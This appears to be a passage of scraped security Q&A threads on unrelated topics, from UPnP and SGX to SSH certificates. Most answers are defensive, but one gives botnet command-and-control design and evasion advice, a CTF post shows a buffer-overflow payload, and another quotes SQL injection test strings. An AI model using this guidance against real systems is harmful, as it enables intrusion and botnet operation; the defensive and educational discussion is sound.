But you're going at it backwards. First define what the threat you're defending against is. Once you have that you can easily evaluate the effectiveness of the different protection measures.


Choosing the Path in IT Security I graduated last year from an Informatics and Security degree program. This program was taken in a Canadian college. It equipped me with the basic security knowledge in all fields; networks, systems including both Linux and Windows, web applications and so on. We had extensive hands-on experience on penetration testing, setting up services in Linux such as DHCP, DNSSEC, web servers and forensic tools. We also learnt how to audit Windows environments and how to learn basically any tool that has security intentions. Technically, this program gave me the understanding of security, governance and the technology.

Now I work in a company where I am the only security guy in the company. I hold the position of IT Security Engineer. This is what I generally do:
- develop and design Windows standards and GPOs upon best practices
- set up and manage web-filtering and proxy solutions
- implement and manage endpoint protection and spam filters
- write security policies and standards for everything (web applications, network, physical security, password, acceptable use ...etc)
- involve in designing the authentication mechanism via web, phone and in-person
- suggest design in secure automation of daily business processes
- helpdesk support when needed

As you can see, it is a wide-range fields that I am working with. I feel that I am being overloaded and I am losing focus on which path should I take. My manager sent me to ISO27001 LI/LA training and I passed both exams. Hence, I am ISO27001 Lead Implementer and Lead Auditor certified. This training has taken me into the governance side of Security. I love security and all of its part, however, I believe I am still young and would like to keep doing technical stuff, as I will get to the governance/managerial position later in my life when gaining possibly CISSP, CISM and so on.

Now I feel I can't be totally dependable in one major task. For example, I know how to build basic AD, DNS, Exchange, SQL, VM environments. I know how to perform basic penetration testing using Backtrack/Kali Linux and get the report done. I understand IPS/IDS technology but never had extensive hands-on with them. I am getting lost seriously.

I don't believe I want to go with network security (CCNA > CCNA Sec > CCNP > CCNP Sec). I think I am also poor with Windows Security administration (PKI, Certificates, IIS Security ...etc).

I also believe I don’t have the skills to be system/security admin, software security or database security administration or analyst, and not even a network security engineer. I am getting lost!

The question; what do you recommend me to do? Which certification path would improve my skills? Do you believe what I am doing in my company now is healthy for my future and skills?

I feel that I am giving all what I learnt from university, but I am not gaining knowledge, valuable knowledge.

Please provide suggestions.

Thank you.

Since the question is very long.. the answer will be short: do what you like and enjoy it. It doesn't really matter what path you take, as long as it makes you more knowledgeable each step.


How UPnP is vulnerable if the attacker is not connected in the same network? I read a lot about UPnP vulnerability and I understand it to some extent. What I don't understand is how attacker will attack if he is not connected to the same network. I read how attacker can do port mapping on the router. But to do that, attacker has to connect to the router in the first place which will require him to know the password. So unless it is a public network, I don't understand how the attacker will be able to achieve his target.

Basically I am trying to understand how attacker will be able to reach an UPnP device in my home network if he is not connected on the network.

Not exactly, UPnP requests to open ports can be sent without router's password. So UPnP is dangerous. Usually UPnP is enabled only on LAN side (wireless and ethernet), but in some cases (rarely but sometimes, on some old routers), routers have UPnP enabled even on WAN side which is very dangerous. In these cases, an attacker can open a port to access to an internal ip and port. He can try and try or bruteforce it to find internal ip addresses accessing to shared folders and that kind of services.

So, disable UPnP if you are not using it. If you have devices using it, be pretty sure that your router has enabled it only on LAN side.

Anyway, this is not related to wireless networks. Same effect on LAN side on wireless or ethernet.

A tool to exploit this is for example Miranda


Intel SGX and enclaves - how secured is it? so i've started to read about this technology, and i have few questions i don't quite understand:

i understand that anyone can create enclaves, and they should be trusted because they are signed by a specific author - but what denies a malicious attacker to just replace the enclave, and re-sign it? certificates usually work around that because they are signed with a trusted root
let's say i want to use an enclave to store an encryption key, what denies a malicious app to just call the eclave and get my key? because if i use enclave to perform a trusted area that lets say encrypts, someone needs to decrypt it (which will be also the enclave no?)

thanks

but what denies a malicious attacker to just replace the enclave, and re-sign it?

Attestation does. When you create an enclave it has no protected data in it. It should be sent into enclave after attestation. Trusted party won't give the enclave protected data unless it is attested. It won't be attested if it is signed with the key different from the one the trusted party expects.

  what denies a malicious app to just call the eclave and get my key

If the code in your enclave has rce or side channel (for example timing) vulnerability it can be possible to extract protected data from it.

Last but not least, to use enclaves you have to have a contract with Intel. SGX is insecure because Intel has trusted access to every enclave's contents. Yet another backdoor.


Security risks replying to emails using a personal account I happen to have a very common name.

I own the corresponding gmail account @gmail.com and I regularly receive emails meant for someone else.

Because they very often seem to contain important information, I always reply to let the senders know that the actual recipient of their emails was not who they wanted.

Some months ago, my company asked all employees to follow an online course on security risks.

The course suggests to never reply to emails sent by someone we do not know.

It seems reasonable as a policy for a company.

I am wondering if this is something I should do even with my personal account with the consequence that probably an honest person will not receive an important information.

There are a number of reasons that replying to an email from someone you don't know may be a bad idea in a business context:

In some situations you may see a "from" email address that is spoofed, with a different reply email address. In such a situation you may reply to the "from" email address under some assumption of who they are, when in reality you're talking to someone completely different.
If the sender is a spammer, you're revealing that your email address is active.
If the sender is gathering intelligence, your email signature may reveal your name, phone number, job title, department name, or other internal details.
If the sender is trying to phish you, replying allows them to better tailor their phish and determine if you saw through the pretext.

Ultimately it's down to you to think about the context of the situation when you're replying. Check that the email your sending is going to the same address the original was from (when you click reply it'll fill the reply-to email in the 'to' field) and think about whether you might be unintentionally revealing information about yourself.


Multifactor Authentication over Single Channel I recently changed banks and the new bank's mobile-banking service has made me ask some questions.

The phone is authenticated/registered with the bank who must be keeping something like an <IMEI, username> tuple. At this point, all other authentication is done on the phone. So if I need a code to set up a payee, it gets sent via SMS. For other functionality, the app itself generates a code (for example, to log into online banking via desktop browser).

Obviously, in the event of device compromise, multi-factor over 1 channel is not good enough to prevent an attacker from accessing my money!

My previous bank used a cumbersome card reader, so initially the idea of not having to carry that around was appealing, but there is an inherent security improvement there.

How do other banks do this better, in your experience? Or am I blowing the likelihood of such a scenario up to be much more than it actually is?

Using the same device, as you have described, doesn't entirely negate the security benefits of multi-factor authentication but it definitely does greatly reduce them. In general, multi-factor authentication for banking is pretty effective. Having previously used them, HSBC give you a separate, small device that doesn't connect to the internet but generates new secure keys which are needed for logging in and setting up new payees; it is also rather small and so it's easy to carry around if needed. However, I would recommend just doing online banking whilst at home to avoid other security risks relating to public networks etc. anyway.


The audacity of accountchek.com Maybe I'm being overly sensitive as an IT professional who has a security mindset, but I am doing a mortgage refinance right now. My lender, who is legitimate (I used them a few years ago for the original purchase of my home), is asking me to help them verify my bank account balances via a service called accountchek.com (not to be confused with accountcheck.com).

Apparently the way this service works is that you go to the site, put in your e-mail address, the last 4 digits of your SSN, and some code that your lender pre-configured for you. Once you do that, it asks you for the username and passwords of all of your bank accounts so it can verify your balances. I called my lender and asked incredulously if they seriously expect me to do this. Yes, yes, they do.

Is it just me, or does this go against everything we've ever been taught about giving out passwords to third parties? I guess this is sort of a meta, philosophical question rather than one that has to do with technology, but since technology is in the mix here, I thought I'd request some feedback.

This is a very bad idea, but yes, various aggregators do exactly this. One of the few upsides of the new Open Banking and PSD2 regulations will mean aggregators are no longer going to need this sort of nonsense, as banks will provide APIs to share data.

It does present a huge challenge around understanding where data loss may have occurred after an incident, but for the customer there is a massive increase in security in not putting all these username and password combinations in aggregators database.


Ideal way to store unhashed passwords I'm dealing with a 3rd party vendor that clearly does not understand security - to access their API from my back-end I have to supply the end user's ID/user/password for the 3rd party service with each batch of requests.

I'm fighting with them to at least implement some sort of revocable token based authentication, but in the mean time I have to deal with this (at least they use HTTPS... sheesh).

I have to authenticate fairly regularly for synchronizing data, and sync has to happen without the end user's intervention, so that basically means the BE has to store the credentials in a reversible format. I'm not naive enough to store it in plaintext, but even if I encrypt it in the database the key won't be very far from the lock, so to speak.

If they didn't have a metric ton of confidential data stored there I'd be less concerned, but this is definitely data worth securing. Any tips?

Notes:

The passwords would be stored in a distributed database. The database itself is reasonably secure. The only real chance of a breach would be a leak of one of the developers' credentials to directly access the data, or a serious programming mishap.
The vendor's API does not allow programatically changing the password, so rotating passwords is not an option.

Access to the back-end's source code could be locked down pretty tight. Would it be reasonable to store a private key in the source and call it a day?

The best you can realistically hope for is to use whatever features the local OS provides for storing "secrets". This means DPAPI on Windows, Keychain on MacOS X... use this to either store the user password, or some decryption key for an encrypted file which contains the user password. OS-level features may have a more direct access to hardware than what you can do at application level, and, as such, offer a possibly stronger (less weak) protection against attackers. Also, you cannot be blamed for having used the "OS recommended" method of storing secrets.

If the client machine is stolen altogether, you still have to assume that the attacker will be able to recover the user password. Possible mitigations include using an autolock feature on the client machine coupled with hard disk encryption (but this is outside of your reach as an application writer, and the human user might not like the idea). The autolock means that the attacker will find it difficult (not impossible, but difficult) to mess with the machine while it is still on, and hard disk encryption means that rebooting the machine permanently locks the attacker out of the stored secrets (the disk encryption password has to be typed in every time the machine boots).


How can I prevent that my users get a certificate issued for my domain on my behalf? I have a domain, where some other users have access to upload files, use email, use XMPP, etc.

How can I prevent that these users go to a certificate authority and get a certificate for my domain?  Unless the CA requires personal contact, how do they technically proof ownership of a domain?

(Assuming a somewhat "trusted" CA, i.e., one in the lists of browsers. This is not about how they should do it, but how they are or might be doing it in practice. One CA with a weak process would be sufficient for being compromised.)

For example:

Should I disallow uploading/editing files in a specific location, with a specific name? Is there some kind of reserved file location/name for owner verification?
Should I disallow giving out specific email adresses? Are there reserved addresses used by CAs?

Or is the email address from the Whois used? But what if there is no email specified?

Should I disallow giving out specific Jabber IDs? Do any CAs use XMPP at all?
Any other protocols that might be used? Something in the DNS?

(This question is related, but it’s about attackers that shouldn’t have access to the server in the first place. In my case, however, I want to give access to people; I just want to be sure what I shouldn’t allow them to do.)

Update: It seems like a Finnish man was able to demonstrate this "attack" by issuing a certificate for the domain live.fi by having the address hostmaster@live.fi.

Last year, I made a bet with a friend that I can get a browser-trusted certificate with his domain name in order to launch a successful MiTM attack on his login form to steal his password. Long story short: I lost the bet; I wasn't able to convince any of the 16 CAs I contacted that I'm the legitimate owner of the domain. Even though I had an email account on his mail server and had FTP access to a user directory under the WWW directory.

Let's go back a little. What do CAs do before issuing you a basic certificate? They have a process called Domain Control Validation (DCV). The good news is that DCV makes it difficult for somebody to issue a certificate on your behalf. The bad news is that each CA can make custom amendments and modifications to the DCV, which makes it impossible to tell which CA will be the weakest link.

Generally speaking, CAs use one of the following methods:

1. Domain Email Validation: They will send you a verification link/code to one of the following email addresses:

Whatever email you have in the WHOIS records (if you have WHOIS privacy, they'll ask you to contact your registerer and setup email forwarding).
admin@YourDomain
administrator@YourDomain
hostmaster@YourDomain
root@YourDomain
webmaster@YourDomain
postmaster@YourDomain

2. Domain CNAME Validation: They will ask you to create a custom CNAME entry. It usually involves hashes of your Certificate Signing Request (CSR) or a randomly-generated key of their choice. An example of such entry is

<MD5(CSR)>.yourdomain.com.  CNAME  <SHA1(CSR)>.CA.com

3. HTTP Request Validation: They will ask you to upload a specific text file to the root of your domain. The file should be accessible with the following HTTP request

http://YourDomain/<MD5(CSR)>.txt

And it should contain SHA1(CSR).

Interesting findings: During my "challenge", I managed to get one CA (SSL.COM) to agree on uploading the text file to Domain/MyUserName/Something.txt and email me the verification link to MyUserName@Domain. However, they insisted that they must verify me with a phone call to the number in the WHOIS records. I also found out that some CAs require a phone as a first-step verification, even before the email verification. Such CAs don't issue certificates for domain names using privacy options.

So, to directly answer your question, prevent your users from creating special email addresses (mentioned above. You also might want to add it@, hostadmin@, etc; prevent your users from creating CNAME entries; and, finally, prevent them from adding files to the root of your domain.

Note: Just because 16 CAs turned out to be good, it doesn't mean that there aren't ones out there that are willing to compromise in the name of "customer convience".


Tor versus direct monitoring I know if I use Tor and maybe made a tweet, it gives the government a really tough time tracing the originator. But what if like a police car was directly outside my home for instance. Is it still difficult or straightforward to know what I'm doing now? So I mean me being directly monitored is Tor still a good option? What is a good option in this case?

If an entity with government-like budgets is after you specifically, you're in big trouble, and no simple software system can save you.  You need serious spy skills ;-)

More to the point...

Perhaps the biggest problem with Tor is correlation attacks.  There has been some new research in this area of late that is causing some justifiable heartburn.

The basic idea is that when you take some online action (like sending a tweet) your computer generates a series of packets that get transmitted via the tor network.  These packets are encrypted, but they are emitted at certain times and in a certain order.  If the person trying to de-anonymize you can log the local traffic at your house AND the traffic coming in to Twitter, they can:

find the set of packets arriving at twitter that produce the tweet in question.
look at the spacing of those packets in time (first packet, wait N milliseconds, second packet, wait M milliseconds, etc...)
compare that spacing of those packets to the spacing of the packets recorded coming from your network.
Even though they can't directly read the packets coming from your network, by matching them up against the packets arriving at the endpoint, they can gain a surprising level of proof that the packets originated with you.

It has long been known that this could be done for a single user.  The recent research I cited was successful around 80% of the time in de-anonymizing tor traffic.


What is a "roving" backdoor? What is a "roving" backdoor?
I understand the general concept of a backdoor.
Emphasis on keyword qualifier: "roving"...

In the context you provide, it has to do with a backdoor that changes or moves over time. There might be a backdoor on port 8000, then it switches to port 8001, etc. The idea is that once a backdoor is discovered, the hacker must re-discover it to use it again.

See also the concept of "port knocking" in real life, where the backdoor only opens once you trigger it with a sequence of steps.


Bitdefender detected over a hundred port scans and still detects, what does that mean and what should I do? I have Bitdefender Total Security 2017 installed on my computer and today especially in the last 10 minutes I got over a hundred port scans (detected and blocked) which is weird cause I usually get like a ten during a whole day.

People are scanning the whole IPv4 Internet all the time, in the vast majority of the cases this can be considered "background noise" and can be safely ignored.

Security software tend to alert about events like this so that they can magnify their own importance by showing you how many "threats" (= harmless scans) they detected/blocked. These notifications should be even more suspicious if you are not connecting to the Internet directly but through a SOHO router for example, as these would filter actual port scans from your internal network so Bitdefender at your endpoint can't see them (there may be some techniques that'd allow intranet scans, but again, these are highly unlikely to come by).

Don't panic.


Creating botnet C&C server. What architecture should I use? IRC? HTTP? I am doing a project related to botnets and I have to create a lightweight command and control server. But I am stuck: should I use IRC or a HTTP-based C&C?

Even I am not getting any in-depth architecture or analysis of any C&C Server.

I am using hardware device to connect C&C, what should I have to keep in mind?

For a C&C server, you want to achieve the following characteristics:

The infected system must be able to talk to the C&C. This entails getting some data out of the machine, through whatever network access it has. The easy case is when the machine has full Internet access (possibly through some NAT); however, there are networks (especially in business environments) where machines have only local addresses, there is no NAT, and outbound communications must go through a HTTP proxy. Possibly, the proxy will need some authentication, that may be automatically provided by the OS (Windows...) provided that the OS libraries are used to do so.

Thus, HTTP increases the probability of succeeding at connecting to an external server, whereas IRC cannot really handle the "proxy only" case.

On the minus side, HTTP is a client-driven protocol, so the infected machine must "poll" the server (issue requests regularly); it cannot simply wait for an incoming command. This regular activity may allow for easier detection of the infection, and will also increase bandwidth requirements for the C&C, especially for large botnets. IRC would be lighter in that situation.
You want the data transfers to be undetected by the network administrator. Such sysadmins tend to strongly react to any network activity that uses the traditional ports for IRC (e.g. freenode uses 6665, 6666, 6667 and a few others). There again, HTTP will be more likely to "fly under the radar".

Plain HTTP requests may be inspected by nosy firewalls. HTTPS may help you here; decrypting HTTPS requests requires installing and maintaining a custom certification authority that produces on-the-fly fake certificates for contacted Web sites. There are appliances that offer that kind of service, but this is not yet fully widespread.
You want to hide the true C&C server whereabouts. If you have a large botnet, then it is a certainty that some sysadmin, somewhere, will notice something fishy and try to guess where the C&C is. HTTP requests require the client to know the target server IP address. On the other hand, with IRC, the infected host would connect to a nearby "honest" IRC server, and, by the magic of data flow between IRC servers, the data may reach the C&C wherever it currently hides.

For a more complete solution, you would like the C&C to be hidden as a Tor hidden service. Note that the true IP address of a hidden service remains hidden only as long as the assumptions behind the onion network theory hold, in particular that the "uncorrupted" onion routers remain a large majority. Whether this is true in practice is anybody's guess.

A really efficient botnet would be structured as an old-fashioned spy network, with decentralized cells; botnet machines would not know the C&C address, but merely how to talk to the other machines in the cell, as well as one or two machines from other cells. Messages would then be broadcast by hopping from cell to cell. That kind of structure requires a lot more thinking at the design phase, but would be a lot more resilient to dismantlement by law enforcement forces.

(Fortunately, ill-intentioned people who want to run botnets are no less lazy and incompetent than the rest of the World, so well-designed botnet structures remain a rarity.)


Two-way SSL Performance We are planning to use 2 way ssl instead of username/password token for authentication. Does anyone know what is the performance penalty for using 2 way SSL?

If by "2-Way" you mean "SSL with certificate-based client authentication", then you can expect the following overhead:

Server sends a CertificateRequest message which contains the list of the names of the root CA that the server will use to validate the client certificate. Depending on the list of such CA, this message may have a non-negligible size (say 10 kilobytes). Of course, in any reasonable setup, the server should accept only one or two CA, leaving this message size way below 1 kilobyte (but many Windows/IIS are not very reasonable).
Client sends its certificate as part of a chain. Typical size of a certificate is 1 to 2 kilobytes, and the client chain will contain between 1 and 4 certificates (it may contain more, but if it does, then you are doing weird things with your PKI).
Client will compute a signature, and the server will verify the signature. On a basic PC, with RSA, signature generation time will be a few milliseconds, and verification will be at least 20 times faster than that. If the client uses a smartcard, then signature generation time will probably be around 1 second or so (main bottleneck is I/O speed with the card).
The signature from the client is also sent by the client (around 260 bytes for a 2048-bit RSA).

The client authentication with certificates incurs no extra roundtrip, but it does mean some more data during the initial handshake (as explained above, up to a few dozens of kilobytes) and some extra CPU (in amounts similar to what the server must compute anyway). Once these certificate games have been played, the rest of the connection is identical to what would occur without a client certificate. No further impact.

Moreover:

Once a client and a server have done one handshake with certificates, they both know a shared secret, which they can reuse. Further connections will use the abbreviated handshake which implies no asymmetric cryptography, and is faster (in particular, one less network roundtrip). This keeps the overall cost low in a typical server.
In many setups, certificate-based client authentication is done with a renegotiation: the client first connect "anonymously" to the server, and then the server asks for a new handshake within the connection, this time with a client certificate. This is often needed in an HTTPS context, because the server will learn the target URL only when the first handshake has been completed, and only then will the server know that the client wants to reach a part of the site which requires client authentication with certificates. With a renegotiation, the second handshake means two extra network roundtrips.

Login+password authentication has bigger overheads because you will have to send a redirection to a login page, and then verify the password. The processing of the login page, the extra graphical interface work on the client, and the slow hashing on the server for password verification, will incur network and CPU overheads which totally dwarf out the costs for client certificates. Thus, switching from login+password to certificates is likely to lower network and CPU costs on your server.

(But certificates mean certificate management and PKI, and that's again much bigger costs.)


If a server has SSH only access, will files rsync'ed on and off that server be transferred securely? If a remote server has been "hardened" such that the only way to access the server is through a public key SSH connection and sensitive files (e.g. SSL private keys, databases etc) on the server were being copied using command line rsync, will those files will be securely transported inside the ssh "tunnel"?

My guess is that, surely, the only way for rsync to even connect into the box is if it attaches to the remote SSH daemon, and successfully authenticates itself, and that from that point all transfers must be wrapped inside the SSH encryption, but my concern is whether or not rsync has been intentionally  implemented to be secure and not leak information.
Or, on the other hand, the developers of rsync merely made rsync compatible with SSH in order to get the job done, and would be willing to sacrifice security, say for the purpose of increasing efficiency or compression?

Can rsync be considered a secure method of transferring files in this situation?

Rsync over ssh is intended to be secure, and operates by opening a tunnel via ssh, securing the entire transfer.  It doesn't use its own built in protocol but uses the actual ssh implementation on the computer itself. It is safe to assume that rsync over ssh is secure in exactly the same way that any other well maintained open source system built with security in mind is secure. Which is to say, it is very reasonable to trust it in this case, but any software can have bugs, so always keep your system up-to-date.

https://unix.stackexchange.com/questions/197684/how-does-rysnc-work-over-ssh


Data Protection in EU for usage of personal documents I don't know if this question fits into this forum or not.
Is there some template documents that comply with the EU regulations for Data Protection and Privacy that I can reuse / (get them signed by the data subject) in order to collect some their personal related data?

The idea is that I will pass over these templates to the persons I would collecting personal data from mentioning the purpose and etc and then they sign it.

I was trying to prepare something from my knowledge but it turns out that even some of the basic questions I am not able to answer. e.g. should the data subject only sign this form or me as well? should i give him a copy? Is the electronic form fine (email) or should i get it on paper?

A really good set of examples in Ireland are at http://www.dataprotection.ie/viewdoc.asp?DocID=38. This site provides templates and describes the contract issues that may need to be tackled (your particular country may have a slightly different flavour):

Adherence to data protection rules
Transparency
Cooperation
Liability

This copy of the Directive also gives good guidance, but unfortunately does not provide templates.


CGI generic sql injection I was scanning a site with Nessus when the following vulnerability was reported:

CGI Generic SQL Injection

Nessus says that:

"An attacker may exploit this flaw to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system."

So I continued reading and found out that the vulnerability sits in this piece of code:

Using the POST HTTP method, Nessus found that :
The following resources may be vulnerable to SQL injection :
The '_codeTextBox' parameter of the /LoginTeacherForm.aspx CGI :
/LoginTeacherForm.aspx [loginButton=Login&_VIEWSTATE=dDwtMTU2NDIxMDkwN Ts7Pg%3d%3d&btnChangePassword=Wijzig%20Pincode&_pinCodeTextBox=&_codeTex tBox='+convert(int,convert(varchar,0x7b5d))+']
-------- output --------
Exception Details: System.Data.SqlClient.SqlException: String or binary data would be truncated.
The statement has been terminated.

But I'm wondering how an attacker could exploit this vulnerability, because when I paste that url it just gives me an error.
So my question is how would an attack be able to actually hack into the site and bypass login etc?

I'll start by mentioning the usual piece we do when security testing tools are used, which is that it's very important to only use them on sites which you are authorized to test.  Running security tools on sites you're not authorized to test can be a criminal offence depending on your jurisdiction.

That said, I'd say that Nessus is likely reporting that based on the mention of the SQL Exception in the error message, it does imply that the SQL query on that page was modified, although I've seen false positives with that kind of error before.

In terms of how it could be vulnerable, the query behind that kind of page is likely to be a SELECT statement which compares the values supplied for login with the ones stored in the database for that user.  If the page is taking the values directly from the user and putting them into the query then there's the possibility that its vulnerable.

If it is vulnerable, then an attacker can modify the SQL query being run on your site then bypassing the login is one possible outcome, along with an attacker damaging the underlying server.

A good way to test this in a non-destructive fashion might be to use the quote characters and string concatenation.

First check to see if you can reproduce the error.  Enter a single ' character into the field along with valid data in the other fields in that form.  If it throws an error then it's possible that its vulnerable.

Then if you have a valid value for the codetextbox field (lets say it's abcdef) try entering

  abc'+'def

as the value in that field along with valid data in the other fields.  If the application logs you in, it either stripped non-alpha characters (possible but it wouldn't explain your error message) or it concatenated the two strings together, which implies that you have SQL Injection.

At that point your best bet is to look at the source of the page to confirm.


Why don't more services offer encryption for email notifications? I understand that using encryption for email isn't particularly mainstream (a fraction of a percentage of users, at a guess). Is that the only reason that banks and other sensitive companies do not offer some kind of encryption for email notifications?

For example, my bank sends me an email every month:

  Subject: Your monthly statement is ready

  Dear Alex,

  Your monthly statement is ready. Please sign in to the bank's website to download it.

  For security (i.e. to prove this really came from us), your postcode is S12 TYX.

While admittedly it's not a huge deal, I'd rather Google - or any mail server - didn't ever receive my postcode in plaintext. This also applies to, for example, receipts from PayPal.

Technically, I would think it fairly trivial for the bank to encrypt this notification using my public key. Is there anything I've overlooked in coming to that conclusion?

I think it's the lack of widespread usage. I can't think of any technical reason that your bank or any other party couldn't send automated, encrypted emails to you, simply instead I think it's that so few people use any form of encrypted email (and therefore most of the public don't have public keys) that from their point of view it's not worth considering.

Next question is obviously 'How can we provide a secure email setup for the masses, without having to teach them the (apparently too complicated) basics of GPG?'


Understanding why this buffer overflow attack isn't working I'm doing a buffer overflow challenge, and I can't understand what exactly I'm doing wrong. Through debugging, I managed to figure out how my input should look like such that I can force the program to return to a function. From gdb I figured if I entered "aaaaaaaaaaaaaaaaaaaaaaaaaaaacdefbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" I can get the program to return to cdef of 0x66656463. Here's a sc just in case:

As you can see, the program managed to go to 0x66656463. Now I the function's address through gdb and I tried placing this in cdef's spot in little endian order using pwntools:

payload = "a" * 28 + "\x56\x85\x04\x08" + "b"*47
msg = "-1\n" + payload

io.sendline(msg)

The reason for the "-1\n" is because the program asks for input twice: the first time I just enter -1 and then the second input I try the exploit. So far, I'm just getting a segfault and the address I want to jump to should be starting a shell for me to exploit. I'm not sure what exactly I'm doing wrong, and any help would be appreciated. If I had to guess it's that I'm somehow dealing with the two inputs incorrectly (they're being read via fgets() in C if that matters.)

EDIT: I have the source binary and I tried running it locally. I created the following txt file

-1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaV\x85\x04\x08bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

and I redirect it in gdb via

run < <(cat input.txt)

this works the same but whenever I add an escaped hex in place of the cdef, I get a different seg fault at a different address:

It looks like if I replace any of the cdef with an escaped hex, I get a segfault at 0x08048726. Is something wrong with passing in the bytes?

CDEF in hexadecimal characters is 66656463 (little endianness), but this address doesn't point to any function and not permitted to access. So the program crashs. You have to modify your shellcode with a valid address who points to a function like execve syscall, with /bin/sh (for example) as parameter of the function.


Limiting access to data in a web application from IPs outside the network My goal is to build a system (PHP + MySQL) where a user will have access to particular data only when logged in locally (from one of the office computers with a local IP), and to all the non-sensitive data when logged in both from a local network and from the outside (regular web host).

I already have the software running on a web server (Centos 5, PHP + MySQL), but I can't store on it any sensitive information, e.g. costs and other financial data. And I have a private network in my office where I can build any server configuration I need (Windows or Linux based server - any configuration is accepted). What I need is:

if a user has an IP different from a predefined range, limit the access to only non-sensitive fields of the data;
if a user has in IP from a white-list (local network), grant the access to all the data, including the sensitive data;
if a user changes something from inside a local network, the changes will be visible on the outside immediately;
if a user changes something from the outside (on a public server), the changes will also be visible on the inside immediately.

Currently I don't know whether to create two separate systems and somehow manage to synchronize data between them, or to store all the data locally and in the scripts check user's permissions, or to do something different. What I do know is that the financial data cannot be stored on the outside and cannot be accessed directly from the outside in any way.

I'll be glad for any the help with this problem, even with general direction that I may research.

This is the job of a host-based firewall. While IP based rules are so integral to the system that the built~in GNU/Linux Firewall is named Iptables and the basic slement of a firewall is a list of rules (called a chain) that could easily handle whatever packets of the type you describe that aren't handled back at the hardware router/firewall ip layer, I have to wonder if someone who has so little knowledge of computer security that I have to tell him this is up to the task. Security IS HARD. It requires a lot of skill and very up-to-date knowledge.

You really have two choices. You can contract this out to someone who is an expert in secure firewalls to script rules for you, or you can try to figure it out yourself. I warn you modern computer security on a network is no trivial task. Along with my direst warning against putting people's personal information at risk through insecure network exposure, I offer you a link to the basics of iptables and a book recommendation. Good luck!

http://www.tecmint.com/basic-guide-on-iptables-linux-firewall-tips-commands/

Prentice Hall Unix and Linux System Administration Handbook - Homepage I especially recommend you read Section Two - Networking and focus on Chapters 14-17 and 22. This will just give you an overview, not miraculously make you an expert.


Can someone view the contents of my .htaccess file I am storing hashed passwords in a file called passwords.htaccess. When a user fills out a login form, the passwords are checked. I am getting the contents of passwords.htaccess with file_get_contents('passwords.htaccess');. Is there any way that someone else can read the contents of passwords.htaccess other than me and the login script?

I know that when a user tries to type in the file name directly they encounter a 403 forbidden error, but is there any way around the error using file_get_contents('http://www.mysite.com/passwords.htaccess') or some other method?

If so, are there any other ways I could protect users passwords?

(this should be a comment but its a bit long)

  Can someone view the contents of my .htaccess file

We can't tell - it depends how your website is configured. You also don't specify what you mean by "anyone" - if this is running on a shared web host with other users then they may have access too. On a Unix system the root account will have access....

  they encounter a 403 forbidden

Then there's something preventing people from accessing the file via the webserver. Possible protections which may be in place are....

location - the webserver will only serve up content from directory trees explicitly configured. In your example, the file appears to be in the same place as the code. Leaving aside a discussion of why this is a very bad idea, then whether that is relevant depends on whether you are running mod_php or php_fpm, and whether the script containing the snippet of code is an entry point for PHP execution or is included from another script.
filesystem permissions - with php-fpm its quite possible for the PHP to be running as a different uid than the webserver
specific configuration in your webserver - most provide a means for excluding access based on URL or file name (and often allow globs). Apache configs usually come with the config below which prevents any access to a file whose name begins with `.ht' but that is not applicable to "passwords.htaccess".

 <Files ~ "^\.ht">
 Order allow,deny
 Deny from all
 Satisfy All
 </Files>

(and that's before we consider any vulnerabilities in the site / platform)

So other than your empirical results, we have no basis to be able to answer your question. We can say that the protection method you have in place does not appear to be in any way portable.


Good practice for log signing I can imagine that for sensitive systems logging to a central logging server it can be handy to be able to verify the integrity of the logs. Each line can either be signed or a shared secret may be used (HMAC) to add an additional field before sending it off to a central logging server.

I was wondering what is generally considered a best practice when it comes to log signing?

Digital signing is used in some situations - generally just with a timestamp included in the signature - but generally the technique used to protect against modification of logs is to use a device classed as Write Once, Read Many (WORM)

This can include CD/DVD media at the consumer level, up to large scale WORM installations at corporate level.

Notice this doesn't protect against falsified data being written to the log, but that specific risk is not usually on 'normal' threat models.


Why to use .PEM file in ssh process So I come from windows background and new to SSh. We are in Linux environment now and as much as I like SSh and see its benefits, what I have realized is that it can be implemented in different ways. Now, for the longest times, we have been using ssh with public/privte key which works exactly like how it is described in this digital ocean article

Basically,

We used key-gen with our email to create a private/public key and then copied .PUB file to the server
Just keep on ssh-ing to the server without having to enter any password

Now, I came across another model where another team uses this .pem file and they have to use this .pem file to ssh to the server every time. According to them, it is more secure. To me, it's just more work. Anyways, my question is simple

What is benefit of using .Pem file?
How is it better than the ssh model that we are using?

You are conflicting multiple issues, and you should start by stopping to speak about ".PEM files", the format of the file is mostly irrelevant to what follows.

ssh works with keys: keys attached to users and keys attached to servers.
When it started, it was classical asymetric cryptography, every party (servers and users) have a least one couple of private+public key and all of this is used to authenticate who connects to what.

This works well and is still probably the default most used ssh keys.

However you may hit mostly management problems (instead of technical problems) when you have too many hosts or users and you want fine grained control: each server must be configured with a specific set of user keys, and users need to know a specific set of server keys if they want to avoid the TOFU principle. You may also want more security around keys, being able to revocate access easily, etc.

So what as been added in OpenSSH (version 5.4 in 2010 for initial availability and then version 5.6 in for full support) is the possibility to use not just bare keys but X.509 certificates. X.509 certificates encapsulate a public key (where you would have the private key in a separate file) with some other metadata, such as validity dates or other constraints to use this certificate, and they are delivered by some specific Certificate Authority.

For servers, using certificates, means you basically get back the same model as today on HTTPS. Where it may be more interesting is for user keys. For example, you do not need to configure the server with the specific set of user keys allowed to connect there, you just need to configure the server to accept all certificates signed by a specific CA, that is internal and you control, with some specific constraint.
Then you can just issue to your users some certificates with the specific constraints they need to connect to the servers they need to connect to.

Netflix has an elaborate mechanism like that they talked about. Their developers have a way to automatically request new certificates, very short lived (in the order of minutes, when the SSH connection is open, it does not matter if the certificate expires during it, it stays open), so that they can connect to any host.

See this presentation of them, which may give you some ideas on why certificates may be useful: https://speakerdeck.com/rlewis/how-netflix-gives-all-its-engineers-ssh-access-to-instances-running-in-production or the corresponding video: https://www.youtube.com/watch?v=JwLGsWYVjqU

They also "open-sourced" the software they need for this architecture: https://github.com/Netflix/bless


Security implications of setting the same password on private key and PKCS12/JKS? Are there any negative security implications of setting the private key password (DSA in this case) as a PKCS12 (and then JKS) export password (instead of generating/inventing a new one)? My use case is that I need to export my PEM private key as PKCS12 so that I can convert it into JKS to import it into a Java based system. I'm not interested in storing more than one private key in the PKCS12/JKS key store.

E.g.:

$ openssl pkcs12 -export -in mycert.crt -inkey privatekey.pem -out keystore.p12
